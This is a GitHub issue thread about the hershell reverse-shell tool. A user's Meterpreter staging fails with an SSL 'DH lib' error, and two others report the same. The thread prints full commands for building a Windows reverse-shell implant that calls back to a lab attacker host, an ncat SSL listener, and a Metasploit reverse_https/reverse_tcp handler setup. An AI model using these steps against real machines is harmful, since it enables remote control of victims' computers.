hershell
hershell copied to clipboard
Meterpreter staging SSL error
Hi there, thanks for the really cool project. i just try this awesome tools, but i got some issue here. can't get meterpreter work, only get
[hershell]> NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib
- victim machine: win10 x64 ip:192.168.136.1
- attack virtual(VMWare) machine: kali x64 rolling ip:192.168.136.129
root@kali:~/hershell# ls Dockerfile hershell.go LICENSE Makefile meterpreter README.md shell root@kali:~/hershell# make depends openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem Generating a RSA private key ......................................................................................................++++ ..................++++ writing new private key to 'server.key' cat server.key >> server.pem root@kali:~/hershell# make windows64 LHOST=192.168.136.129 LPORT=6666 GOOS=windows GOARCH=amd64 go build --ldflags "-s -w -X main.connectString=192.168.136.129:6666 -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in server.pem | cut -d '=' -f2) -H=windowsgui" -o hershell.exe hershell.go root@kali:~/hershell# ls Dockerfile hershell.go Makefile README.md server.pem hershell.exe LICENSE meterpreter server.key shell root@kali:~/hershell# ncat --ssl-cert server.pem --ssl-key server.key -lvp 6666 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::6666 Ncat: Listening on 0.0.0.0:6666 Ncat: Connection from 192.168.136.1. Ncat: Connection from 192.168.136.1:11382. [hershell]> meterpreter https 192.168.136.129:9999 [hershell]> NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib root@kali:~/hershell#
Msf cannot create a session when using meterpreter staging
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf5 exploit(multi/handler) > set lhost 192.168.136.129 lhost => 192.168.136.129 msf5 exploit(multi/handler) > set lport 9999 lport => 9999 msf5 exploit(multi/handler) > set HandlerSSLCert ./hershell/server.pem HandlerSSLCert => ./hershell/server.pem msf5 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://192.168.136.129:9999
When using windows/x64/meterpreter/reverse_https payload, even if hershell uses the merterpreter command, msf still keeps listening, and hershell outputs an error [hershell]> NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib
Then I used windows/x64/meterpreter/reverse_tcp payload, msf got a session but died quickly, and hershell also output [hershell]> NCAT DEBUG: SSL_read error on 5: error: 00000005: lib (0): func (0): DH lib
Looking forward to hearing from you, thank you very much
Same issue! Did you found a solution meanwhile?
Same issue! Did you found a solution meanwhile?
No solution found. Do you have a solution?